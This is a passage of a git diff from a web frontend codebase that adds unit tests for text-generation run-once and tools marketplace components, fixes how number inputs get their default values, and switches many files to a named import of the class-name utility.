+    expect(capturedProps?.filename).toBe('result')
+    expect(capturedProps?.bom).toBe(true)
+    expect(capturedProps?.type).toBe(mockType.Link)
+  })
+
+  it('should render mobile action button without desktop label', () => {
+    render(<ResDownload isMobile={true} values={values} />)
+
+    expect(screen.getByTestId('csv-downloader')).toBeInTheDocument()
+    expect(screen.queryByText('common.operation.download')).not.toBeInTheDocument()
+    expect(screen.getByRole('button')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/share/text-generation/run-batch/res-download/index.tsx b/web/app/components/share/text-generation/run-batch/res-download/index.tsx
index 8915cfeb96..50853fab48 100644
--- a/web/app/components/share/text-generation/run-batch/res-download/index.tsx
+++ b/web/app/components/share/text-generation/run-batch/res-download/index.tsx
@@ -8,7 +8,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import ActionButton from '@/app/components/base/action-button'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type IResDownloadProps = {
   isMobile: boolean
diff --git a/web/app/components/share/text-generation/run-once/index.spec.tsx b/web/app/components/share/text-generation/run-once/index.spec.tsx
new file mode 100644
index 0000000000..a386ea7e58
--- /dev/null
+++ b/web/app/components/share/text-generation/run-once/index.spec.tsx
@@ -0,0 +1,241 @@
+import React, { useEffect, useRef, useState } from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import RunOnce from './index'
+import type { PromptConfig, PromptVariable } from '@/models/debug'
+import type { SiteInfo } from '@/models/share'
+import type { VisionSettings } from '@/types/app'
+import { Resolution, TransferMethod } from '@/types/app'
+
+jest.mock('@/hooks/use-breakpoints', () => {
+  const MediaType = {
+    pc: 'pc',
+    pad: 'pad',
+    mobile: 'mobile',
+  }
+  const mockUseBreakpoints = jest.fn(() => MediaType.pc)
+  return {
+    __esModule: true,
+    default: mockUseBreakpoints,
+    MediaType,
+  }
+})
+
+jest.mock('@/app/components/workflow/nodes/_base/components/editor/code-editor', () => ({
+  __esModule: true,
+  default: ({ value, onChange }: { value?: string; onChange?: (val: string) => void }) => (
+    <textarea data-testid="code-editor-mock" value={value} onChange={e => onChange?.(e.target.value)} />
+  ),
+}))
+
+jest.mock('@/app/components/base/image-uploader/text-generation-image-uploader', () => {
+  function TextGenerationImageUploaderMock({ onFilesChange }: { onFilesChange: (files: any[]) => void }) {
+    useEffect(() => {
+      onFilesChange([])
+    }, [onFilesChange])
+    return <div data-testid="vision-uploader-mock" />
+  }
+  return {
+    __esModule: true,
+    default: TextGenerationImageUploaderMock,
+  }
+})
+
+const createPromptVariable = (overrides: Partial<PromptVariable>): PromptVariable => ({
+  key: 'input',
+  name: 'Input',
+  type: 'string',
+  required: true,
+  ...overrides,
+})
+
+const basePromptConfig: PromptConfig = {
+  prompt_template: 'template',
+  prompt_variables: [
+    createPromptVariable({
+      key: 'textInput',
+      name: 'Text Input',
+      type: 'string',
+      default: 'default text',
+    }),
+    createPromptVariable({
+      key: 'paragraphInput',
+      name: 'Paragraph Input',
+      type: 'paragraph',
+      default: 'paragraph default',
+    }),
+    createPromptVariable({
+      key: 'numberInput',
+      name: 'Number Input',
+      type: 'number',
+      default: 42,
+    }),
+    createPromptVariable({
+      key: 'checkboxInput',
+      name: 'Checkbox Input',
+      type: 'checkbox',
+    }),
+  ],
+}
+
+const baseVisionConfig: VisionSettings = {
+  enabled: true,
+  number_limits: 2,
+  detail: Resolution.low,
+  transfer_methods: [TransferMethod.local_file],
+  image_file_size_limit: 5,
+}
+
+const siteInfo: SiteInfo = {
+  title: 'Share',
+}
+
+const setup = (overrides: {
+  promptConfig?: PromptConfig
+  visionConfig?: VisionSettings
+  runControl?: React.ComponentProps<typeof RunOnce>['runControl']
+} = {}) => {
+  const onInputsChange = jest.fn()
+  const onSend = jest.fn()
+  const onVisionFilesChange = jest.fn()
+  let inputsRefCapture: React.MutableRefObject<Record<string, any>> | null = null
+
+  const Wrapper = () => {
+    const [inputs, setInputs] = useState<Record<string, any>>({})
+    const inputsRef = useRef<Record<string, any>>({})
+    inputsRefCapture = inputsRef
+    return (
+      <RunOnce
+        siteInfo={siteInfo}
+        promptConfig={overrides.promptConfig || basePromptConfig}
+        inputs={inputs}
+        inputsRef={inputsRef}
+        onInputsChange={(updated) => {
+          inputsRef.current = updated
+          setInputs(updated)
+          onInputsChange(updated)
+        }}
+        onSend={onSend}
+        visionConfig={overrides.visionConfig || baseVisionConfig}
+        onVisionFilesChange={onVisionFilesChange}
+        runControl={overrides.runControl ?? null}
+      />
+    )
+  }
+
+  const utils = render(<Wrapper />)
+  return {
+    ...utils,
+    onInputsChange,
+    onSend,
+    onVisionFilesChange,
+    getInputsRef: () => inputsRefCapture,
+  }
+}
+
+describe('RunOnce', () => {
+  it('should initialize inputs using prompt defaults', async () => {
+    const { onInputsChange, onVisionFilesChange } = setup()
+
+    await waitFor(() => {
+      expect(onInputsChange).toHaveBeenCalledWith({
+        textInput: 'default text',
+        paragraphInput: 'paragraph default',
+        numberInput: 42,
+        checkboxInput: false,
+      })
+    })
+
+    await waitFor(() => {
+      expect(onVisionFilesChange).toHaveBeenCalledWith([])
+    })
+
+    expect(screen.getByText('common.imageUploader.imageUpload')).toBeInTheDocument()
+  })
+
+  it('should update inputs when user edits fields', async () => {
+    const { onInputsChange, getInputsRef } = setup()
+
+    await waitFor(() => {
+      expect(onInputsChange).toHaveBeenCalled()
+    })
+    onInputsChange.mockClear()
+
+    fireEvent.change(screen.getByPlaceholderText('Text Input'), {
+      target: { value: 'new text' },
+    })
+    fireEvent.change(screen.getByPlaceholderText('Paragraph Input'), {
+      target: { value: 'paragraph value' },
+    })
+    fireEvent.change(screen.getByPlaceholderText('Number Input'), {
+      target: { value: '99' },
+    })
+
+    const label = screen.getByText('Checkbox Input')
+    const checkbox = label.closest('div')?.parentElement?.querySelector('div')
+    expect(checkbox).toBeTruthy()
+    fireEvent.click(checkbox as HTMLElement)
+
+    const latest = onInputsChange.mock.calls[onInputsChange.mock.calls.length - 1][0]
+    expect(latest).toEqual({
+      textInput: 'new text',
+      paragraphInput: 'paragraph value',
+      numberInput: '99',
+      checkboxInput: true,
+    })
+    expect(getInputsRef()?.current).toEqual(latest)
+  })
+
+  it('should clear inputs when Clear button is pressed', async () => {
+    const { onInputsChange } = setup()
+    await waitFor(() => {
+      expect(onInputsChange).toHaveBeenCalled()
+    })
+    onInputsChange.mockClear()
+
+    fireEvent.click(screen.getByRole('button', { name: 'common.operation.clear' }))
+
+    expect(onInputsChange).toHaveBeenCalledWith({
+      textInput: '',
+      paragraphInput: '',
+      numberInput: '',
+      checkboxInput: false,
+    })
+  })
+
+  it('should submit form and call onSend when Run button clicked', async () => {
+    const { onSend, onInputsChange } = setup()
+    await waitFor(() => {
+      expect(onInputsChange).toHaveBeenCalled()
+    })
+    fireEvent.click(screen.getByTestId('run-button'))
+    expect(onSend).toHaveBeenCalledTimes(1)
+  })
+
+  it('should display stop controls when runControl is provided', async () => {
+    const onStop = jest.fn()
+    const runControl = {
+      onStop,
+      isStopping: false,
+    }
+    const { onInputsChange } = setup({ runControl })
+    await waitFor(() => {
+      expect(onInputsChange).toHaveBeenCalled()
+    })
+    const stopButton = screen.getByTestId('stop-button')
+    fireEvent.click(stopButton)
+    expect(onStop).toHaveBeenCalledTimes(1)
+  })
+
+  it('should disable stop button while runControl is stopping', async () => {
+    const runControl = {
+      onStop: jest.fn(),
+      isStopping: true,
+    }
+    const { onInputsChange } = setup({ runControl })
+    await waitFor(() => {
+      expect(onInputsChange).toHaveBeenCalled()
+    })
+    const stopButton = screen.getByTestId('stop-button')
+    expect(stopButton).toBeDisabled()
+  })
+})
diff --git a/web/app/components/share/text-generation/run-once/index.tsx b/web/app/components/share/text-generation/run-once/index.tsx
index 6d922312ae..51c8df0335 100644
--- a/web/app/components/share/text-generation/run-once/index.tsx
+++ b/web/app/components/share/text-generation/run-once/index.tsx
@@ -17,7 +17,7 @@ import TextGenerationImageUploader from '@/app/components/base/image-uploader/te
 import type { VisionFile, VisionSettings } from '@/types/app'
 import { FileUploaderInAttachmentWrapper } from '@/app/components/base/file-uploader'
 import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BoolInput from '@/app/components/workflow/nodes/_base/components/before-run-form/bool-input'
 import CodeEditor from '@/app/components/workflow/nodes/_base/components/editor/code-editor'
 import { CodeLanguage } from '@/app/components/workflow/nodes/code/types'
@@ -57,6 +57,8 @@ const RunOnce: FC<IRunOnceProps> = ({
     promptConfig.prompt_variables.forEach((item) => {
       if (item.type === 'string' || item.type === 'paragraph')
         newInputs[item.key] = ''
+      else if (item.type === 'number')
+        newInputs[item.key] = ''
       else if (item.type === 'checkbox')
         newInputs[item.key] = false
       else
@@ -92,7 +94,7 @@ const RunOnce: FC<IRunOnceProps> = ({
       else if (item.type === 'string' || item.type === 'paragraph')
         newInputs[item.key] = item.default || ''
       else if (item.type === 'number')
-        newInputs[item.key] = item.default
+        newInputs[item.key] = item.default ?? ''
       else if (item.type === 'checkbox')
         newInputs[item.key] = item.default || false
       else if (item.type === 'file')
@@ -230,6 +232,7 @@ const RunOnce: FC<IRunOnceProps> = ({
                 variant={isRunning ? 'secondary' : 'primary'}
                 disabled={isRunning && runControl?.isStopping}
                 onClick={handlePrimaryClick}
+                data-testid={isRunning ? 'stop-button' : 'run-button'}
               >
                 {isRunning ? (
                   <>
diff --git a/web/app/components/tools/edit-custom-collection-modal/config-credentials.tsx b/web/app/components/tools/edit-custom-collection-modal/config-credentials.tsx
index f0ad13f9b1..7d7a1d5555 100644
--- a/web/app/components/tools/edit-custom-collection-modal/config-credentials.tsx
+++ b/web/app/components/tools/edit-custom-collection-modal/config-credentials.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React from 'react'
 import { useTranslation } from 'react-i18next'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { Credential } from '@/app/components/tools/types'
 import Input from '@/app/components/base/input'
 import Drawer from '@/app/components/base/drawer-plus'
diff --git a/web/app/components/tools/edit-custom-collection-modal/index.tsx b/web/app/components/tools/edit-custom-collection-modal/index.tsx
index 48801b018f..32239e15b1 100644
--- a/web/app/components/tools/edit-custom-collection-modal/index.tsx
+++ b/web/app/components/tools/edit-custom-collection-modal/index.tsx
@@ -11,7 +11,7 @@ import { AuthHeaderPrefix, AuthType } from '../types'
 import GetSchema from './get-schema'
 import ConfigCredentials from './config-credentials'
 import TestApi from './test-api'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Drawer from '@/app/components/base/drawer-plus'
 import Button from '@/app/components/base/button'
 import Input from '@/app/components/base/input'
diff --git a/web/app/components/tools/labels/filter.tsx b/web/app/components/tools/labels/filter.tsx
index debf3ea806..78470d9767 100644
--- a/web/app/components/tools/labels/filter.tsx
+++ b/web/app/components/tools/labels/filter.tsx
@@ -3,7 +3,7 @@ import { useMemo, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { useDebounceFn } from 'ahooks'
 import { RiArrowDownSLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/tools/labels/selector.tsx b/web/app/components/tools/labels/selector.tsx
index 587c204456..cd273f3afa 100644
--- a/web/app/components/tools/labels/selector.tsx
+++ b/web/app/components/tools/labels/selector.tsx
@@ -3,7 +3,7 @@ import { useMemo, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { useDebounceFn } from 'ahooks'
 import { RiArrowDownSLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/tools/marketplace/index.spec.tsx b/web/app/components/tools/marketplace/index.spec.tsx
new file mode 100644
index 0000000000..6f0e339205
--- /dev/null
+++ b/web/app/components/tools/marketplace/index.spec.tsx
@@ -0,0 +1,368 @@
+import React from 'react'
+import { act, render, renderHook, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import Marketplace from './index'
+import { useMarketplace } from './hooks'
+import { PluginCategoryEnum } from '@/app/components/plugins/types'
+import { getMarketplaceListCondition } from '@/app/components/plugins/marketplace/utils'
+import { SCROLL_BOTTOM_THRESHOLD } from '@/app/components/plugins/marketplace/constants'
+import type { Collection } from '@/app/components/tools/types'
+import { CollectionType } from '@/app/components/tools/types'
+import type { Plugin } from '@/app/components/plugins/types'
+
+const listRenderSpy = jest.fn()
+jest.mock('@/app/components/plugins/marketplace/list', () => ({
+  __esModule: true,
+  default: (props: {
+    marketplaceCollections: unknown[]
+    marketplaceCollectionPluginsMap: Record<string, unknown[]>
+    plugins?: unknown[]
+    showInstallButton?: boolean
+    locale: string
+  }) => {
+    listRenderSpy(props)
+    return <div data-testid="marketplace-list" />
+  },
+}))
+
+const mockUseMarketplaceCollectionsAndPlugins = jest.fn()
+const mockUseMarketplacePlugins = jest.fn()
+jest.mock('@/app/components/plugins/marketplace/hooks', () => ({
+  useMarketplaceCollectionsAndPlugins: (...args: unknown[]) => mockUseMarketplaceCollectionsAndPlugins(...args),
+  useMarketplacePlugins: (...args: unknown[]) => mockUseMarketplacePlugins(...args),
+}))
+
+const mockUseAllToolProviders = jest.fn()
+jest.mock('@/service/use-tools', () => ({
+  useAllToolProviders: (...args: unknown[]) => mockUseAllToolProviders(...args),
+}))
+
+jest.mock('@/utils/var', () => ({
+  __esModule: true,
+  getMarketplaceUrl: jest.fn(() => 'https://marketplace.test/market'),
+}))
+
+jest.mock('@/i18n-config', () => ({
+  getLocaleOnClient: () => 'en',
+}))
+
+jest.mock('next-themes', () => ({
+  useTheme: () => ({ theme: 'light' }),
+}))
+
+const { getMarketplaceUrl: mockGetMarketplaceUrl } = jest.requireMock('@/utils/var') as {
+  getMarketplaceUrl: jest.Mock
+}
+
+const createToolProvider = (overrides: Partial<Collection> = {}): Collection => ({
+  id: 'provider-1',
+  name: 'Provider 1',
+  author: 'Author',
+  description: { en_US: 'desc', zh_Hans: '描述' },
+  icon: 'icon',
+  label: { en_US: 'label', zh_Hans: '标签' },
+  type: CollectionType.custom,
+  team_credentials: {},
+  is_team_authorization: false,
+  allow_delete: false,
+  labels: [],
+  ...overrides,
+})
+
+const createPlugin = (overrides: Partial<Plugin> = {}): Plugin => ({
+  type: 'plugin',
+  org: 'org',
+  author: 'author',
+  name: 'Plugin One',
+  plugin_id: 'plugin-1',
+  version: '1.0.0',
+  latest_version: '1.0.0',
+  latest_package_identifier: 'plugin-1@1.0.0',
+  icon: 'icon',
+  verified: true,
+  label: { en_US: 'Plugin One' },
+  brief: { en_US: 'Brief' },
+  description: { en_US: 'Plugin description' },
+  introduction: 'Intro',
+  repository: 'https://example.com',
+  category: PluginCategoryEnum.tool,
+  install_count: 0,
+  endpoint: { settings: [] },
+  tags: [{ name: 'tag' }],
+  badges: [],
+  verification: { authorized_category: 'community' },
+  from: 'marketplace',
+  ...overrides,
+})
+
+const createMarketplaceContext = (overrides: Partial<ReturnType<typeof useMarketplace>> = {}) => ({
+  isLoading: false,
+  marketplaceCollections: [],
+  marketplaceCollectionPluginsMap: {},
+  plugins: [],
+  handleScroll: jest.fn(),
+  page: 1,
+  ...overrides,
+})
+
+describe('Marketplace', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering the marketplace panel based on loading and visibility state.
+  describe('Rendering', () => {
+    it('should show loading indicator when loading first page', () => {
+      // Arrange
+      const marketplaceContext = createMarketplaceContext({ isLoading: true, page: 1 })
+      render(
+        <Marketplace
+          searchPluginText=""
+          filterPluginTags={[]}
+          isMarketplaceArrowVisible={false}
+          showMarketplacePanel={jest.fn()}
+          marketplaceContext={marketplaceContext}
+        />,
+      )
+
+      // Assert
+      expect(document.querySelector('svg.spin-animation')).toBeInTheDocument()
+      expect(screen.queryByTestId('marketplace-list')).not.toBeInTheDocument()
+    })
+
+    it('should render list when not loading', () => {
+      // Arrange
+      const marketplaceContext = createMarketplaceContext({
+        isLoading: false,
+        plugins: [createPlugin()],
+      })
+      render(
+        <Marketplace
+          searchPluginText=""
+          filterPluginTags={[]}
+          isMarketplaceArrowVisible={false}
+          showMarketplacePanel={jest.fn()}
+          marketplaceContext={marketplaceContext}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByTestId('marketplace-list')).toBeInTheDocument()
+      expect(listRenderSpy).toHaveBeenCalledWith(expect.objectContaining({
+        showInstallButton: true,
+        locale: 'en',
+      }))
+    })
+  })
+
+  // Prop-driven UI output such as links and action triggers.
+  describe('Props', () => {
+    it('should build marketplace link and trigger panel when arrow is clicked', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      const marketplaceContext = createMarketplaceContext()
+      const showMarketplacePanel = jest.fn()
+      const { container } = render(
+        <Marketplace
+          searchPluginText="vector"
+          filterPluginTags={['tag-a', 'tag-b']}
+          isMarketplaceArrowVisible
+          showMarketplacePanel={showMarketplacePanel}
+          marketplaceContext={marketplaceContext}
+        />,
+      )
+
+      // Act
+      const arrowIcon = container.querySelector('svg.cursor-pointer')
+      expect(arrowIcon).toBeTruthy()
+      await user.click(arrowIcon as SVGElement)
+
+      // Assert
+      expect(showMarketplacePanel).toHaveBeenCalledTimes(1)
+      expect(mockGetMarketplaceUrl).toHaveBeenCalledWith('', {
+        language: 'en',
+        q: 'vector',
+        tags: 'tag-a,tag-b',
+        theme: 'light',
+      })
+      const marketplaceLink = screen.getByRole('link', { name: /plugin.marketplace.difyMarketplace/i })
+      expect(marketplaceLink).toHaveAttribute('href', 'https://marketplace.test/market')
+    })
+  })
+})
+
+describe('useMarketplace', () => {
+  const mockQueryMarketplaceCollectionsAndPlugins = jest.fn()
+  const mockQueryPlugins = jest.fn()
+  const mockQueryPluginsWithDebounced = jest.fn()
+  const mockResetPlugins = jest.fn()
+  const mockFetchNextPage = jest.fn()
+
+  const setupHookMocks = (overrides?: {
+    isLoading?: boolean
+    isPluginsLoading?: boolean
+    pluginsPage?: number
+    hasNextPage?: boolean
+    plugins?: Plugin[] | undefined
+  }) => {
+    mockUseMarketplaceCollectionsAndPlugins.mockReturnValue({
+      isLoading: overrides?.isLoading ?? false,
+      marketplaceCollections: [],
+      marketplaceCollectionPluginsMap: {},
+      queryMarketplaceCollectionsAndPlugins: mockQueryMarketplaceCollectionsAndPlugins,
+    })
+    mockUseMarketplacePlugins.mockReturnValue({
+      plugins: overrides?.plugins,
+      resetPlugins: mockResetPlugins,
+      queryPlugins: mockQueryPlugins,
+      queryPluginsWithDebounced: mockQueryPluginsWithDebounced,
+      isLoading: overrides?.isPluginsLoading ?? false,
+      fetchNextPage: mockFetchNextPage,
+      hasNextPage: overrides?.hasNextPage ?? false,
+      page: overrides?.pluginsPage,
+    })
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUseAllToolProviders.mockReturnValue({
+      data: [],
+      isSuccess: true,
+    })
+    setupHookMocks()
+  })
+
+  // Query behavior driven by search filters and provider exclusions.
+  describe('Queries', () => {
+    it('should query plugins with debounce when search text is provided', async () => {
+      // Arrange
+      mockUseAllToolProviders.mockReturnValue({
+        data: [
+          createToolProvider({ plugin_id: 'plugin-a' }),
+          createToolProvider({ plugin_id: undefined }),
+        ],
+        isSuccess: true,
+      })
+
+      // Act
+      renderHook(() => useMarketplace('alpha', []))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockQueryPluginsWithDebounced).toHaveBeenCalledWith({
+          category: PluginCategoryEnum.tool,
+          query: 'alpha',
+          tags: [],
+          exclude: ['plugin-a'],
+          type: 'plugin',
+        })
+      })
+      expect(mockQueryMarketplaceCollectionsAndPlugins).not.toHaveBeenCalled()
+      expect(mockResetPlugins).not.toHaveBeenCalled()
+    })
+
+    it('should query plugins immediately when only tags are provided', async () => {
+      // Arrange
+      mockUseAllToolProviders.mockReturnValue({
+        data: [createToolProvider({ plugin_id: 'plugin-b' })],
+        isSuccess: true,
+      })
+
+      // Act
+      renderHook(() => useMarketplace('', ['tag-1']))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockQueryPlugins).toHaveBeenCalledWith({
+          category: PluginCategoryEnum.tool,
+          query: '',
+          tags: ['tag-1'],
+          exclude: ['plugin-b'],
+          type: 'plugin',
+        })
+      })
+    })
+
+    it('should query collections and reset plugins when no filters are provided', async () => {
+      // Arrange
+      mockUseAllToolProviders.mockReturnValue({
+        data: [createToolProvider({ plugin_id: 'plugin-c' })],
+        isSuccess: true,
+      })
+
+      // Act
+      renderHook(() => useMarketplace('', []))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockQueryMarketplaceCollectionsAndPlugins).toHaveBeenCalledWith({
+          category: PluginCategoryEnum.tool,
+          condition: getMarketplaceListCondition(PluginCategoryEnum.tool),
+          exclude: ['plugin-c'],
+          type: 'plugin',
+        })
+      })
+      expect(mockResetPlugins).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // State derived from hook inputs and loading signals.
+  describe('State', () => {
+    it('should expose combined loading state and fallback page value', () => {
+      // Arrange
+      setupHookMocks({ isLoading: true, isPluginsLoading: false, pluginsPage: undefined })
+
+      // Act
+      const { result } = renderHook(() => useMarketplace('', []))
+
+      // Assert
+      expect(result.current.isLoading).toBe(true)
+      expect(result.current.page).toBe(1)
+    })
+  })
+
+  // Scroll handling that triggers pagination when appropriate.
+  describe('Scroll', () => {
+    it('should fetch next page when scrolling near bottom with filters', () => {
+      // Arrange
+      setupHookMocks({ hasNextPage: true })
+      const { result } = renderHook(() => useMarketplace('search', []))
+      const event = {
+        target: {
+          scrollTop: 100,
+          scrollHeight: 200,
+          clientHeight: 100 + SCROLL_BOTTOM_THRESHOLD,
+        },
+      } as unknown as Event
+
+      // Act
+      act(() => {
+        result.current.handleScroll(event)
+      })
+
+      // Assert
+      expect(mockFetchNextPage).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not fetch next page when no filters are applied', () => {
+      // Arrange
+      setupHookMocks({ hasNextPage: true })
+      const { result } = renderHook(() => useMarketplace('', []))
+      const event = {
+        target: {
+          scrollTop: 100,
+          scrollHeight: 200,
+          clientHeight: 100 + SCROLL_BOTTOM_THRESHOLD,
+        },
+      } as unknown as Event
+
+      // Act
+      act(() => {
+        result.current.handleScroll(event)
+      })
+
+      // Assert
+      expect(mockFetchNextPage).not.toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/tools/mcp/detail/content.tsx b/web/app/components/tools/mcp/detail/content.tsx
index 965b270bda..ade39b6d06 100644
--- a/web/app/components/tools/mcp/detail/content.tsx
+++ b/web/app/components/tools/mcp/detail/content.tsx
@@ -30,7 +30,7 @@ import {
   useUpdateMCPTools,
 } from '@/service/use-tools'
 import { openOAuthPopup } from '@/hooks/use-oauth'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   detail: ToolWithProvider
diff --git a/web/app/components/tools/mcp/detail/list-loading.tsx b/web/app/components/tools/mcp/detail/list-loading.tsx
index babf050d8b..ab7c07197e 100644
--- a/web/app/components/tools/mcp/detail/list-loading.tsx
+++ b/web/app/components/tools/mcp/detail/list-loading.tsx
@@ -1,6 +1,6 @@
 'use client'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const ListLoading = () => {
   return (
diff --git a/web/app/components/tools/mcp/detail/operation-dropdown.tsx b/web/app/components/tools/mcp/detail/operation-dropdown.tsx
index d2cbc8825d..348d45cf55 100644
--- a/web/app/components/tools/mcp/detail/operation-dropdown.tsx
+++ b/web/app/components/tools/mcp/detail/operation-dropdown.tsx
@@ -13,7 +13,7 @@ import {
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   inCard?: boolean
diff --git a/web/app/components/tools/mcp/detail/provider-detail.tsx b/web/app/components/tools/mcp/detail/provider-detail.tsx
index 56f26f8582..b0bfdf8327 100644
--- a/web/app/components/tools/mcp/detail/provider-detail.tsx
+++ b/web/app/components/tools/mcp/detail/provider-detail.tsx
@@ -4,7 +4,7 @@ import type { FC } from 'react'
 import Drawer from '@/app/components/base/drawer'
 import MCPDetailContent from './content'
 import type { ToolWithProvider } from '../../../workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   detail?: ToolWithProvider
diff --git a/web/app/components/tools/mcp/detail/tool-item.tsx b/web/app/components/tools/mcp/detail/tool-item.tsx
index d5dfa1f978..ecd68a6e0a 100644
--- a/web/app/components/tools/mcp/detail/tool-item.tsx
+++ b/web/app/components/tools/mcp/detail/tool-item.tsx
@@ -5,7 +5,7 @@ import type { Tool } from '@/app/components/tools/types'
 import I18n from '@/context/i18n'
 import { getLanguage } from '@/i18n-config/language'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 type Props = {
diff --git a/web/app/components/tools/mcp/headers-input.tsx b/web/app/components/tools/mcp/headers-input.tsx
index ede5b6cffe..fbe52b89b6 100644
--- a/web/app/components/tools/mcp/headers-input.tsx
+++ b/web/app/components/tools/mcp/headers-input.tsx
@@ -6,7 +6,7 @@ import { RiAddLine, RiDeleteBinLine } from '@remixicon/react'
 import Input from '@/app/components/base/input'
 import Button from '@/app/components/base/button'
 import ActionButton from '@/app/components/base/action-button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type HeaderItem = {
   id: string
diff --git a/web/app/components/tools/mcp/index.tsx b/web/app/components/tools/mcp/index.tsx
index 5a1e5cf3bf..e02e360c22 100644
--- a/web/app/components/tools/mcp/index.tsx
+++ b/web/app/components/tools/mcp/index.tsx
@@ -7,7 +7,7 @@ import {
   useAllToolProviders,
 } from '@/service/use-tools'
 import type { ToolWithProvider } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   searchText: string
diff --git a/web/app/components/tools/mcp/mcp-server-modal.tsx b/web/app/components/tools/mcp/mcp-server-modal.tsx
index 11af81ec1a..b94715c7e8 100644
--- a/web/app/components/tools/mcp/mcp-server-modal.tsx
+++ b/web/app/components/tools/mcp/mcp-server-modal.tsx
@@ -15,7 +15,7 @@ import {
   useInvalidateMCPServerDetail,
   useUpdateMCPServer,
 } from '@/service/use-tools'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type ModalProps = {
   appID: string
diff --git a/web/app/components/tools/mcp/mcp-service-card.tsx b/web/app/components/tools/mcp/mcp-service-card.tsx
index 470a59f47a..006ef44ad3 100644
--- a/web/app/components/tools/mcp/mcp-service-card.tsx
+++ b/web/app/components/tools/mcp/mcp-service-card.tsx
@@ -24,7 +24,7 @@ import {
   useUpdateMCPServer,
 } from '@/service/use-tools'
 import { BlockEnum } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { fetchAppDetail } from '@/service/apps'
 import { useDocLink } from '@/context/i18n'
 
diff --git a/web/app/components/tools/mcp/modal.tsx b/web/app/components/tools/mcp/modal.tsx
index 836fc5e0aa..7d7296201f 100644
--- a/web/app/components/tools/mcp/modal.tsx
+++ b/web/app/components/tools/mcp/modal.tsx
@@ -18,7 +18,7 @@ import type { ToolWithProvider } from '@/app/components/workflow/types'
 import { noop } from 'lodash-es'
 import Toast from '@/app/components/base/toast'
 import { uploadRemoteFileInfo } from '@/service/common'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useHover } from 'ahooks'
 import { shouldUseMcpIconForAppIcon } from '@/utils/mcp'
 import TabSlider from '@/app/components/base/tab-slider'
diff --git a/web/app/components/tools/mcp/provider-card.tsx b/web/app/components/tools/mcp/provider-card.tsx
index 7c4f3718d4..831a1122ed 100644
--- a/web/app/components/tools/mcp/provider-card.tsx
+++ b/web/app/components/tools/mcp/provider-card.tsx
@@ -12,7 +12,7 @@ import Confirm from '@/app/components/base/confirm'
 import MCPModal from './modal'
 import OperationDropdown from './detail/operation-dropdown'
 import { useDeleteMCP, useUpdateMCP } from '@/service/use-tools'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   currentProvider?: ToolWithProvider
diff --git a/web/app/components/tools/provider-list.tsx b/web/app/components/tools/provider-list.tsx
index 01f9f09127..567cc94450 100644
--- a/web/app/components/tools/provider-list.tsx
+++ b/web/app/components/tools/provider-list.tsx
@@ -3,7 +3,7 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import type { Collection } from './types'
 import Marketplace from './marketplace'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTabSearchParams } from '@/hooks/use-tab-searchparams'
 import TabSliderNew from '@/app/components/base/tab-slider-new'
 import LabelFilter from '@/app/components/tools/labels/filter'
diff --git a/web/app/components/tools/provider/detail.tsx b/web/app/components/tools/provider/detail.tsx
index dd2972a9d6..d310dde41b 100644
--- a/web/app/components/tools/provider/detail.tsx
+++ b/web/app/components/tools/provider/detail.tsx
@@ -9,7 +9,7 @@ import { AuthHeaderPrefix, AuthType, CollectionType } from '../types'
 import { basePath } from '@/utils/var'
 import type { Collection, CustomCollectionBackend, Tool, WorkflowToolProviderRequest, WorkflowToolProviderResponse } from '../types'
 import ToolItem from './tool-item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import I18n from '@/context/i18n'
 import { getLanguage } from '@/i18n-config/language'
